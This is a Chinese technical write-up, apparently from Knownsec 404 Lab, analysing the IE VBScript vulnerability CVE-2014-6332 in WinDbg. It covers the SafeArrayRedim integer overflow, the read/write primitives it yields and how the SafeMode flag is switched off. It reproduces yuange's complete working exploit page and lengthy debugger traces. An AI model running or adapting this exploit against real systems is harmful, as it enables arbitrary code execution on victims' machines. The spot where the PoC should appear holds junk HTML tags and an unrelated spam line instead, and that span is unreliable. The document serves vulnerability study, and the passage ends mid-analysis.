Author: xd0ol1 (知道創宇404實驗室)

前文回顧:

0x00 引子

本文將通過一個經典的IE漏洞來繼續學習WinDbg相關的分析調試,錯誤之處還望各位大牛加以斧正:P

0x01 概述

我們要用到的是CVE-2014-6332這個漏洞,前輩們已經有過精彩的分析了,對應文章在參考部分有給出。此漏洞最值得借鑒的是其中所涉及的利用方式,上兩篇分析的CVE-2012-1876需要繞過ASLR、DEP等保護手段來執行ROP+shellcode,而CVE-2014-6332則是借助RW primitives+GodMode的方式來實現漏洞的利用。不好說這兩種思路孰優孰劣,應該是各有千秋的,繞過保護措施可能會復雜些,因而現今的exploit更多會先獲取RW primitives,之后corrupt有關數據結構來實現代碼的執行。

該漏洞在當時還是比較嚴重的,幾乎所有Windows版本中的IE都受到了影響,它是由于VBScript引擎在重新分配數組儲存空間時的錯誤引起的,具體來說是oleaut32模塊SafeArrayRedim函數中的整數溢出錯誤。當然,微軟目前已經放棄了VBScript,但我們學習的目的在于舉一隅以三隅反,因此理解其原理還是很有必要的。

此處的分析環境為Win7 x86 - IE 8.0.7601.17514。

0x02 RW primitives

我們先來看下如何通過此漏洞來獲取RW primitives,即corrupt后的SAFEARRAY結構,這里注意下,RW(Read/Write) primitives指的是exploit中那些用于實現內存讀寫的對象或函數。分析所用的PoC代碼如下:

``` code html CVE-2014-6332 PoC.

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频

                    我們知道在VBScript中,數組是以SAFEARRAY結構來保存的,其定義如下:

                    0:013> dt ole32!tagSAFEARRAY +0x000 cDims : Uint2B +0x002 fFeatures : Uint2B +0x004 cbElements : Uint4B +0x008 cLocks : Uint4B +0x00c pvData : Ptr32 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:013> dt ole32!tagSAFEARRAYBOUND +0x000 cElements : Uint4B +0x004 lLbound : Int4B

                    其中cDims表示數組的維數,每個維度都對應一個SAFEARRAYBOUND結構,包含有此維度的大小和起始索引,同時,cbElements表示每個元素的大小,這些元素保存在pvData地址處。而對于fFeatures表示的含義,可參考此[說明](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx)。
                    
                    此外,可以通過IDA得到如下的SafeArrayRedim函數定義:
                    
                    ```c
                    HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew);

                    我們在IE中打開上述PoC文件,并用WinDbg附加相應進程,然后執行如下操作:

                    0:013> bp OLEAUT32!SafeArrayRedim
                    0:013> g
                    Breakpoint 3 hit
                    eax=023dcfa8 ebx=002c2a10 ecx=0006fa58 edx=0000400c esi=0006fa58 edi=00000000
                    eip=75aeec2c esp=023dcf94 ebp=023dcfb0 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    OLEAUT32!SafeArrayRedim:
                    75aeec2c 8bff            mov     edi,edi
                    0:005> kb 3
                    ChildEBP RetAddr  Args to Child              
                    023dcf90 728c58da 002c2a10 023dcfa8 0006f438 OLEAUT32!SafeArrayRedim
                    023dcfb0 728c5887 00000001 00000001 0006fa58 vbscript!RedimPreserveArray+0x81
                    023dd0ac 728b4ff6 023dd214 8f64c1b9 00000000 vbscript!CScriptRuntime::RunNoEH+0x1466
                    0:005> dd 002c2a10 L6
                    002c2a10  08800001 00000010 00000000 00234298
                    002c2a20  00000004 00000000
                    0:005> dd 023dcfa8 L2
                    023dcfa8  08421421 00000000
                    0:005> dd 00234298 L10
                    00234298  00000002 00000000 00000001 00000000
                    002342a8  00000002 00000000 00000002 00000000
                    002342b8  00000002 00000000 00000004 00000000
                    002342c8  00000002 00000000 00000008 00000000

                    可以看到,最初定義的數組維度為1,共有0x04個Variant型元素,且每個元素占0x10字節。這里特別強調下Variant結構,它在后續會經常用到,其定義如下:

                    圖0  Variant結構的定義

                    保存浮點數時會同時使用Data High和Data Low字段,而如果只保存整型或指針則僅需Data High字段,Type字段的定義可參考這里,在本文中涉及到的類型如下:

                    圖1  Type字段的定義

                    接著腳本借助redim來重新分配數組空間,對應元素個數為0x08421420+1=0x08421421,即0x08421421*0x10=0x84214210字節空間,很顯然這個分配操作會失敗,畢竟32位進程的用戶態空間最大也只到0x7fffffff,但由于存在如下語句,腳本將會繼續執行:

                    ``` code html On Error Resume Next

                    當跳出SafeArrayRedim函數后,我們再看下此時SAFEARRAY結構中的內容:

                    0:005> dd 002c2a10 L6 002c2a10 08800001 00000010 00000000 00234298 002c2a20 08421421 00000000

                    即數組的起始地址仍為0x00234298,但索引范圍變成了0~0x08421420,這正是我們要用到的corrupt后的SAFEARRAY結構,通過它可以獲取RW primitives功能。如下給出了漏洞的具體成因:

                    0:005> uf OLEAUT32!SafeArrayRedim OLEAUT32!SafeArrayRedim: 75aeec2c 8bff mov edi,edi 75aeec2e 55 push ebp 75aeec2f 8bec mov ebp,esp 75aeec31 83ec18 sub esp,18h 75aeec34 53 push ebx 75aeec35 56 push esi 75aeec36 8b7508 mov esi,dword ptr [ebp+8] 75aeec39 57 push edi 75aeec3a 33ff xor edi,edi 75aeec3c 3bf7 cmp esi,edi 75aeec3e 0f843f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

                    OLEAUT32!SafeArrayRedim+0x18: 75aeec44 397d0c cmp dword ptr [ebp+0Ch],edi 75aeec47 0f8436030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

                    OLEAUT32!SafeArrayRedim+0x21: 75aeec4d 0fb74e02 movzx ecx,word ptr [esi+2] 75aeec51 8bc1 mov eax,ecx 75aeec53 2500200000 and eax,2000h 75aeec58 8945f4 mov dword ptr [ebp-0Ch],eax 75aeec5b 66393e cmp word ptr [esi],di 75aeec5e 0f841f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

                    OLEAUT32!SafeArrayRedim+0x38: 75aeec64 397e08 cmp dword ptr [esi+8],edi 75aeec67 0f870c030000 ja OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

                    OLEAUT32!SafeArrayRedim+0x41: 75aeec6d f6c110 test cl,10h 75aeec70 0f8503030000 jne OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

                    OLEAUT32!SafeArrayRedim+0x4a: 75aeec76 8d45f0 lea eax,[ebp-10h] 75aeec79 50 push eax 75aeec7a 897d08 mov dword ptr [ebp+8],edi 75aeec7d 897df0 mov dword ptr [ebp-10h],edi 75aeec80 e8f15dfeff call OLEAUT32!GetMalloc (75ad4a76) 75aeec85 8bd8 mov ebx,eax 75aeec87 3bdf cmp ebx,edi 75aeec89 0f85d5020000 jne OLEAUT32!SafeArrayRedim+0x5f (75aeef64)

                    OLEAUT32!SafeArrayRedim+0x65: 75aeec8f 56 push esi ;SAFEARRAY結構的指針 75aeec90 e868f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取已分配的數組空間大小 75aeec95 8945fc mov dword ptr [ebp-4],eax ;保存已分配空間大小值0x00000040 75aeec98 3bc7 cmp eax,edi 75aeec9a 7409 je OLEAUT32!SafeArrayRedim+0x7b (75aeeca5)

                    OLEAUT32!SafeArrayRedim+0x72: 75aeec9c 397e0c cmp dword ptr [esi+0Ch],edi 75aeec9f 0f84de020000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

                    OLEAUT32!SafeArrayRedim+0x7b: 75aeeca5 8b450c mov eax,dword ptr [ebp+0Ch] 75aeeca8 8b08 mov ecx,dword ptr [eax] 75aeecaa 8b5e10 mov ebx,dword ptr [esi+10h] ;備份rgsabound中的cElements值0x00000004 75aeecad 8b7e14 mov edi,dword ptr [esi+14h] ;備份rgsabound中的lLbound 75aeecb0 894e10 mov dword ptr [esi+10h],ecx ;修改rgsabound中的cElements為0x08421421 75aeecb3 8b4004 mov eax,dword ptr [eax+4] 75aeecb6 56 push esi ;SAFEARRAY結構的指針 75aeecb7 895de8 mov dword ptr [ebp-18h],ebx 75aeecba 897dec mov dword ptr [ebp-14h],edi 75aeecbd 894614 mov dword ptr [esi+14h],eax ;修改rgsabound中的lLbound 75aeecc0 e838f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取待分配的數組空間大小 75aeecc5 8945f8 mov dword ptr [ebp-8],eax ;保存待分配空間大小值0x84214210 75aeecc8 83f8ff cmp eax,0FFFFFFFFh 75aeeccb 0f8490910100 je OLEAUT32!SafeArrayRedim+0xa3 (75b07e61)

                    OLEAUT32!SafeArrayRedim+0xb3: 75aeecd1 8bd8 mov ebx,eax 75aeecd3 2b5dfc sub ebx,dword ptr [ebp-4] ;待分配大小減去已分配大小,等于0x842141d0 75aeecd6 0f84a8000000 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

                    OLEAUT32!SafeArrayRedim+0xbe: 75aeecdc 8b7df0 mov edi,dword ptr [ebp-10h] 75aeecdf 85db test ebx,ebx 75aeece1 7d45 jge OLEAUT32!SafeArrayRedim+0x110 (75aeed28) ;將0x842141d0當作負數,整數溢出

                    OLEAUT32!SafeArrayRedim+0xc5: 75aeece3 b9200f0000 mov ecx,0F20h 75aeece8 66854e02 test word ptr [esi+2],cx 75aeecec 743a je OLEAUT32!SafeArrayRedim+0x110 (75aeed28)

                    OLEAUT32!SafeArrayRedim+0xd0: 75aeecee 837df400 cmp dword ptr [ebp-0Ch],0 75aeecf2 0f8579910100 jne OLEAUT32!SafeArrayRedim+0xd6 (75b07e71)

                    OLEAUT32!SafeArrayRedim+0xe0: 75aeecf8 8b07 mov eax,dword ptr [edi] 75aeecfa 895d0c mov dword ptr [ebp+0Ch],ebx 75aeecfd f75d0c neg dword ptr [ebp+0Ch] 75aeed00 ff750c push dword ptr [ebp+0Ch] 75aeed03 57 push edi 75aeed04 ff500c call dword ptr [eax+0Ch] ;ole32!CRetailMalloc_Alloc,分配空間失敗 75aeed07 894508 mov dword ptr [ebp+8],eax 75aeed0a 85c0 test eax,eax 75aeed0c 0f845d020000 je OLEAUT32!SafeArrayRedim+0x19d (75aeef6f)

                    ......

                    OLEAUT32!SafeArrayRedim+0x1b8: 75aeed75 837d0800 cmp dword ptr [ebp+8],0 75aeed79 7409 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

                    OLEAUT32!SafeArrayRedim+0x1be: 75aeed7b ff7508 push dword ptr [ebp+8] 75aeed7e 8b07 mov eax,dword ptr [edi] 75aeed80 57 push edi 75aeed81 ff5014 call dword ptr [eax+14h] ;ole32!CRetailMalloc_Free

                    OLEAUT32!SafeArrayRedim+0x1c7: 75aeed84 8bc3 mov eax,ebx

                    OLEAUT32!SafeArrayRedim+0x1d7: 75aeed86 5f pop edi 75aeed87 5e pop esi 75aeed88 5b pop ebx 75aeed89 c9 leave 75aeed8a c20800 ret 8

                    ......

                    OLEAUT32!SafeArrayRedim+0x19d: 75aeef6f bb0e000780 mov ebx,8007000Eh 75aeef74 e9fcfdffff jmp OLEAUT32!SafeArrayRedim+0x1b8 (75aeed75)

                    ......

                    我們知道SafeArrayRedim函數的第一個入參為SAFEARRAY結構的指針,其中包含已分配數組的SAFEARRAYBOUND信息,第二個入參為待分配數組的SAFEARRAYBOUND信息。在獲取完已分配數組的大小后,程序根據待分配數組的SAFEARRAYBOUND信息來修改SAFEARRAY指針指向的原SAFEARRAYBOUND信息,即其中的cElements和lLbound,以此來獲取待分配數組的大小。但由于之后jge指令將新增空間大小0x842141d0當成了負數,即整數溢出,導致程序進入錯誤的處理分支,新空間會分配失敗,但函數在返回前并沒有將原先備份的SAFEARRAYBOUND信息替換回去,從而分配的數組空間沒變cElements值卻改變了,因此corrupt后的SAFEARRAY結構可被用于內存的越界訪問。
                    
                    ### 0x03 GodMode
                    
                    接著我們來討論如何在當前的IE環境中開啟VBScript的GodMode,用到的代碼如下:
                    
                    ```html
                    <html>
                    <body>
                    <SCRIPT LANGUAGE="VBScript">
                      On Error Resume Next
                      set shell=createobject("Shell.Application")
                      shell.ShellExecute "notepad.exe"
                    </script>
                    </body>
                    </html>

                    正常情況打開這個html文件是無法彈出記事本的,因為IE會禁止運行那些可能危害系統的腳本,它會通過vbscript!COleScript::InSafeMode函數來對SafeMode標志進行檢查,此標志的默認值為0x0e。我們重新打開上述文件并在WinDbg中進行如下操作:

                    0:012> bu vbscript!COleScript::InSafeMode
                    0:012> g
                    Breakpoint 0 hit
                    eax=76140782 ebx=00000000 ecx=0002bdd0 edx=76130000 esi=0002f558 edi=00000000
                    eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!COleScript::InSafeMode:
                    6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=0000000e
                    0:005> ln poi(ecx)
                    (6f354868)   vbscript!COleScript::`vftable'   |  (6f36fdbc)   vbscript!`string'
                    Exact matches:
                        vbscript!COleScript::`vftable' = <no type information>
                    0:005> dd ecx+174h L1
                    0002bf44  0000000e
                    0:005> uf vbscript!COleScript::InSafeMode
                    vbscript!COleScript::InSafeMode:
                    6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh
                    6f35ce57 6a00            push    0
                    6f35ce59 58              pop     eax
                    6f35ce5a 0f95c0          setne   al
                    6f35ce5d c3              ret
                    0:005> eb ecx+174h 4
                    0:005> dd ecx+174h L1
                    0002bf44  00000004
                    0:005> g
                    Breakpoint 0 hit
                    eax=00000001 ebx=00000000 ecx=0002bdd0 edx=0244d3b0 esi=00000000 edi=00000000
                    eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!COleScript::InSafeMode:
                    6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=00000004
                    0:005> bd *
                    0:005> g
                    ModLoad: 6efe0000 6efe3000   C:\Windows\system32\sfc.dll
                    ModLoad: 6efd0000 6efdd000   C:\Windows\system32\sfc_os.DLL

                    可以看到,SafeMode標志是vbscript!COleScript對象指針特定偏移處的一個值,在InSafeMode函數中,會檢查它和0x0B相與的結果,如果為0,那么VBScript的執行將不再受到限制,即此時SafeMode標志值要為0或4,通過手動修改內存中的這個標志值最終可以彈出記事本。

                    0x04 漏洞利用

                    在前面分析的基礎上,我們來看一下此漏洞的exploit,具體思路就是通過corrupt后的SAFEARRAY結構來獲取RW primitives,然后對SafeMode標志進行修改,從而執行任意的VBScript代碼:

                    <!DOCTYPE html>
                    <html>
                    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
                    <body>
                      CVE-2014-6332 exploit by yuange.
                    <SCRIPT LANGUAGE="VBScript">
                    function Runmumaa()  '彈出記事本'
                      On Error Resume Next
                      set shell=createobject("Shell.Application")
                      shell.ShellExecute "notepad.exe"
                    end function
                    </script>
                    
                    <SCRIPT LANGUAGE="VBScript">
                    dim aa()  '數組和變量的定義'
                    dim ab()
                    dim a0
                    dim a1
                    dim a2
                    dim a3
                    dim intVersion
                    dim myarray
                    
                    Begin()
                    
                    function Begin()  '程序入口'
                      On Error Resume Next
                      info=Navigator.UserAgent
                    
                      if (instr(info,"Win64")>0) then  '判斷系統位數并獲取IE版本'
                        exit function
                      end if
                      if (instr(info,"MSIE")>0) then
                        intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
                      else
                        exit function
                      end if
                    
                      BeginInit()
                      if Create()=True then
                        myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                        myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  '定義精心構造的SAFEARRAY結構'
                        Setnotsafemode()
                      end if
                    end function
                    
                    function BeginInit()  '數組和變量的初始化'
                      Randomize()
                      redim aa(5)
                      redim ab(5)
                      a0=13+17*rnd(6)
                      a3=7+3*rnd(5)
                    end function
                    
                    function Create()  '創建期望的內存布局'
                      On Error Resume Next
                      dim i
                      Create=False
                      for i = 0 to 400
                        if Over()=True then
                          Create=True
                          exit for
                        end if
                      next
                    end function
                    
                    sub testaa()
                    end sub
                    
                    function Mydata()  '獲取函數對象指針并布局精心構造的SAFEARRAY結構'
                      On Error Resume Next
                      i=testaa
                      i=null
                    
                      redim Preserve aa(a2)
                      ab(0)=0
                      aa(a1)=i
                      ab(0)=6.36598737437801E-314  '0x0000000300000003'
                      aa(a1+2)=myarray
                      ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
                      Mydata=aa(a1)
                      redim Preserve aa(a0)
                    end function
                    
                    function Setnotsafemode()
                      On Error Resume Next
                      i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
                      i=ReadMemo(i+8)
                      i=ReadMemo(i+16)  '獲取COleScript對象指針'
                    
                      for k=0 to &h60 step 4  '搜索內存中的SafeMode標志值并修改'
                        j=ReadMemo(i+&h120+k)
                        if (j=14) then
                          redim Preserve aa(a2)
                          aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
                          redim Preserve aa(a0)
                          exit for
                        end if
                      next
                    
                      ab(2)=1.69759663316747E-313  '0x0000000800000008'
                      Runmumaa()
                    end function
                    
                    function Over()  '判斷內存中分配的aa、ab這兩個數組是否相鄰'
                      On Error Resume Next
                      dim type1
                      Over=False
                      a0=a0+a3
                      a1=a0+2
                      a2=a0+&h8000000
                      redim Preserve aa(a0)
                      redim ab(a0)
                    
                      redim Preserve aa(a2)  '對aa數組進行corrupt'
                      type1=1
                      ab(0)=1.012345678901234567890123456789  '用作標記值'
                      aa(a0)=10
                    
                      if (IsObject(aa(a1-1)) = False) then
                        if (VarType(aa(a1-1))<>0) then
                          if (IsObject(aa(a1)) = False) then
                            type1=VarType(aa(a1))
                          end if
                        end if
                      end if
                      if (type1=&h0b24) then  '判斷是否和標記相符'
                        Over=True
                      end if
                      redim Preserve aa(a0)  '恢復aa數組至corrupt前'
                    end function
                    
                    function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
                      On Error Resume Next
                      redim Preserve aa(a2)
                      ab(0)=0
                      aa(a1)=add+4
                      ab(0)=1.69759663316747E-313  '0x0000000800000008'
                      ReadMemo=lenb(aa(a1))  'read primitive'
                      ab(0)=0
                      redim Preserve aa(a0)
                    end function
                    </script>
                    </body>
                    </html>

                    其中,科學記數法表示的浮點數可由C中的printf函數進行轉換:

                    ``` code c printf("%I64x\n", 1.69759663316747E-313); printf("%.14E\n", 0x0000000800000008);

                    在調試過程中我們可適當插入document.write()來輸出那些輔助的信息,同時還可以通過插入MsgBox()來定位相關代碼,例如最開始先禁用WinDbg中的所有斷點,待彈出窗口后再啟用斷點,這樣我們就能快速跳到想要的位置跟蹤調試了。
                    
                    此外,[yuange](https://twitter.com/yuange75)的DVE(數據虛擬執行)想法確實妙,筆者還有待慢慢領悟,下面我們進入詳細的分析。
                    
                    ####1 內存布局
                    
                    exploit中用到了aa和ab兩個數組,它們會在Over()中通過redim進行重新分配,也就是執行完如下兩條語句后:
                    
                    ``` code html
                    redim Preserve aa(a0)
                    redim ab(a0)

                    內存布局需要達到如下效果,同樣,每個數組元素都保存在Variant結構中:

                    圖2  期望的內存布局

                    如果不滿足就重復這個分配過程,由于相應空間分配在堆上,根據堆管理的性質是能實現上述布局的,這樣就可以通過corrupt后的aa數組來越界訪問ab數組了。我們來具體看一下:

                    0:012> bp OLEAUT32!SafeArrayRedim
                    0:012> g
                    Breakpoint 0 hit
                    eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84d0 edi=01e00900
                    eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    OLEAUT32!SafeArrayRedim:
                    7664ec2c 8bff            mov     edi,edi
                    0:005> kb 3
                    ChildEBP RetAddr  Args to Child              
                    0249cafc 6fb158da 004692e8 0249cb14 ffffffff OLEAUT32!SafeArrayRedim
                    0249cb1c 6fb15887 00000001 00000001 01df84d0 vbscript!RedimPreserveArray+0x81
                    0249cc18 6fb04ff6 0249ce2c c9d653d5 01e008d0 vbscript!CScriptRuntime::RunNoEH+0x1466
                    0:005> dd 004692e8 L6
                    004692e8  08800001 00000010 00000000 0042e2b8
                    004692f8  00000006 00000000
                    ......
                    0:005> g
                    (6b0.f28): Break instruction exception - code 80000003 (first chance)
                    eax=7ffd4000 ebx=00000000 ecx=00000000 edx=77b8f125 esi=00000000 edi=00000000
                    eip=77b240f0 esp=059dfd94 ebp=059dfdc0 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    ntdll!DbgBreakPoint:
                    77b240f0 cc              int     3
                    0:010> dd 004692e8 L6
                    004692e8  08800001 00000010 00000000 02e66ec8
                    004692f8  080000a2 00000000
                    0:010> !heap -p -a 02e66ec8
                        address 02e66ec8 found in
                        _HEAP @ 3c0000
                          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
                            02e66ec0 0145 0000  [00]   02e66ec8    00a20 - (busy)
                    
                    
                    0:010> ? 02e66ec8+a2*10
                    Evaluate expression: 48658664 = 02e678e8

                    此時地址0x02e678e8處即為8字節的堆指針,內存分布如下:

                    圖3  滿足條件的內存分布

                    其中,數值1.012345678901234567890123456789保存在ab(0)中,該Variant結構的Type字段為5,而Data High+Data Low字段為0x3ff0329161f20b24。當aa數組corrupt后可以訪問到ab數組中的數據,由于這之間恰好隔了8字節的堆指針,所以這兩個數組的Type+Reserved部分就和Data High+Data Low部分交錯了,因此ab(0)的Data High+Data Low部分會被當成aa(a1)的Type+Reserved部分,即VarType(aa(a1))等于0x0b24。

                    2 類型混淆

                    在完成內存的布局后,exploit就可以借助ab數組元素的賦值操作來對corrupt后aa數組元素的Type字段進行更改,從而實現類型的混淆,接下去我們將分析exploit中用到的類型混淆手法以及由此得到的Read primitive。

                    來看下Mydata()函數,它會通過如下代碼將testaa函數對象指針賦給i:

                    ``` code html On Error Resume Next i=testaa i=null

                    接著是與類型混淆有關的那部分代碼:
                    
                    ``` code html
                    redim Preserve aa(a2)  '對aa數組進行corrupt'
                    ab(0)=0
                    aa(a1)=i
                    ab(0)=6.36598737437801E-314  '0x0000000300000003'
                    aa(a1+2)=myarray
                    ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
                    Mydata=aa(a1)
                    redim Preserve aa(a0)  '恢復aa數組至corrupt前'

                    這里面會進行兩次類型混淆處理,首先由于變量i的類型為null(0x01),因此需要將其轉成long integer(0x03)后再返回,該函數對象指針事實上就是CScriptEntryPoint對象的指針。而myarray中則保存著精心構造的SAFEARRAY結構,最初賦給aa(a1+2)時其類型為string(0x08),需要將其類型改為Variant數組,這在后面獲取Write primitive時會用到。對應的調試過程如下:

                    0:005> bl
                     0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim
                     1 e 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
                     2 e 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> dd esp L4
                    0249cb1c  6fb13991 0013ebf0 02e678f8 01df84f0
                    0:005> dd 01df84f0 L4
                    01df84f0  0000400c 00000000 0013268c 41a00001
                    0:005> dd 0013268c L4
                    0013268c  00000001 00000080 01df8718 01000f0e
                    0:005> ln poi(01df8718)
                    (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
                    Exact matches:
                        vbscript!CScriptEntryPoint::`vftable' = <no type information>
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
                    eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  01 00 00 00 80 00 00 00-18 87 df 01 0e 0f 00 01  ................
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> dd esp L4
                    0249cb1c  6fb13991 0013ebf0 02e678f0 01df84f0
                    0:005> db 02e678f0 L10
                    02e678f0  02 00 00 00 00 00 00 00-01 00 00 00 80 00 00 00  ................
                    0:005> db 01df84f0 L10
                    01df84f0  05 00 00 00 00 00 00 00-03 00 00 00 03 00 00 00  ................
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cc10 ebx=0249cc70 ecx=0013f23c edx=0000400c esi=01e00900 edi=00000001
                    eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
                    eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L40
                    02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
                    02e67908  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
                    02e67918  08 00 49 02 a5 00 00 00-14 50 40 00 18 cc 49 02  ..I......P@...I.
                    0:005> dd 00405014-4 L8
                    00405010  00000018 08800001 00000001 00000000
                    00405020  00000000 7fff0000 00000000 00000000
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
                    eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L40
                    02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
                    02e67908  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
                    02e67918  0c 20 00 00 0c 20 00 00-14 50 40 00 18 cc 49 02  . ... ...P@...I.
                    0:005> dt ole32!tagSAFEARRAY 00405014
                       +0x000 cDims            : 1
                       +0x002 fFeatures        : 0x880
                       +0x004 cbElements       : 1
                       +0x008 cLocks           : 0
                       +0x00c pvData           : (null) 
                       +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

                    我們知道字符串在內存中是以BSTR對象保存的,暫不論類型混淆,就myarray字符串而言,它在內存中的保存結果如下,Data High字段中的指針0x00405014指向相應的字符內容:

                    圖4  內存中的myarray

                    其中,BSTR對象頭部表示字符串的長度,此情況中即為poi(0x00405014-4)=0x18。

                    了解這一點后,我們再來看實現Read primitive的函數:

                    function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
                      On Error Resume Next
